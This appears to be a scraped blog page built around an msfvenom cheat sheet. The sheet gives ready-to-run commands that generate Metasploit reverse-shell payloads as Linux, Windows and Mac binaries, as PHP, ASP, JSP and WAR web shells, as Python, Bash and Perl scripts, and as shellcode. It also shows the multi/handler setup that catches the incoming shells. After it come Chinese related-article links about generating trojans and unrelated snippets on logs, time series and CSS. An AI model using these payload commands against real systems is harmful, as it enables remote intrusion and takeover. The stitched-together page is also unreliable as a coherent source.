Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.

List payloads

msfvenom -l

Binaries

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

Web Payloads

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Scripting Payloads

Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Shellcode

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Windows Based Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Mac Based Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Handlers

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z

Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘

msfvenom生成各类Payload命令的更多相关文章

  1. 9.利用msfvenom生成木马

    这篇文章来介绍一下msf中一个生成木马的msfvenom模块. msfvenom命令行选项如下: 英文原版: 中文版: Options: -p, --payload <payload> 指 ...

  2. msfvenom生成payload命令

    msfvenom生成payload命令 windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp L ...

  3. 转: kali msfvenom生成木马

    kali msfvenom生成木马 转:https://blog.csdn.net/qq_33391644/article/details/79266724 msfvenom是msfpayload,m ...

  4. 使用msfvenom生成木马

    msfvenom Options: -p, --payload < payload> 指定需要使用的payload(攻击荷载).如果需要使用自定义的payload,请使用& #03 ...

  5. metasploit、msfvenom生成木马入侵电脑及手机

    简介 msfvenom msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and ...

  6. Protobuf 文件生成工具 Prototool 命令详解

    Protobuf 文件生成工具 Prototool 命令详解 简介 Prototool 是 Protobuf 文件的生成工具, 目前支持go, php, java, c#, object c 五种语言 ...

  7. msf下的各种生成payload命令

    Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayl ...

  8. WebService 生成类的命令语句

    在开发项目中,有时候需要调用webservice接口程序,根据项目规定有的项目是直接引入接口,有的是需要把接口生成代理类的形式在项目中使用,根据项目需要来取舍. 以下列出项目中常用的Webservic ...

  9. Linux下随机生成密码的命令总结

    有时候经常为如何设置一个安全.符合密码复杂度的密码而绞尽脑汁,说实话,这实在是一个体力活而且浪费时间,更重要的是设置密码的时候经常纠结.终于有一天实在忍不住了,于是学习.整理了一下如何使用Linux下 ...

随机推荐

  1. 清空nohup日志

    #清空nohup日志cat /dev/null > /tpdata/www/wxapp_domain/nohup.out

  2. AR(I)MA时间序列建模过程——步骤和python代码

    https://www.jianshu.com/p/cced6617b423 https://zhuanlan.zhihu.com/p/35282988 https://zhuanlan.zhihu. ...

  3. 从路由器镜像中提取uImage头信息

    uImage header为64字节,文件头为27 05 19 56 hexdump -C a.bin | grep "27 05 19 56" 或者 hd aa.bin | gr ...

  4. 委托&&异步

    private void ShowMessage(string message) { this.BeginInvoke(new MethodInvoker(delegate { txtSysMessa ...

  5. CSS基础【1】:体验CSS

    CSS起源 web的衰落:在 web 早期(1990-1993),html是一个很局限的语言.几乎完全由用于描述段落,超链接,列表和标题的结构化元素组成.随着万维网的出现(用户交互体验的加强),对 h ...

  6. Lintcode482-Binary Tree Level Sum-Easy

    482. Binary Tree Level Sum Given a binary tree and an integer which is the depth of the target level ...

  7. Java线程机制学习

    前面的文章中总结过Java中用来解决共享资源竞争导致线程不安全的几种常用方式: synchronized: ReentrantLock: ThreadLocal: 这些都是在简单介绍了基本用法的基础上 ...

  8. 【五】jquery之事件(focus事件与blur事件)[提示语的出现及消失时机]

    例题:当鼠标移动到某个文本框时,提示语消失. 当失去焦点时,如果该文本框有内容,保存内容.没有内容,则恢复最初的提示语句 <!DOCTYPE html> <html> < ...

  9. rabbitMQ 的三种Exchange

    rabbitMQ 的Exchange有3种路由方式:  direct.fanout.topic ,以下为详细说明 1.  Direct Exchange 处理路由键.需要将一个队列绑定到交换机上,要求 ...

  10. Python里面的write()方法写入文件时候的乱码解决方法

    为了为今后的大数据以及人工智能的大潮流的到来做准备,最近在学Python,在这个过程中,会遇到许多汉字之间的转换,今天在写write方法的时候,发现写入的汉字会出现乱码,百思不得其解,上网查众资料,, ...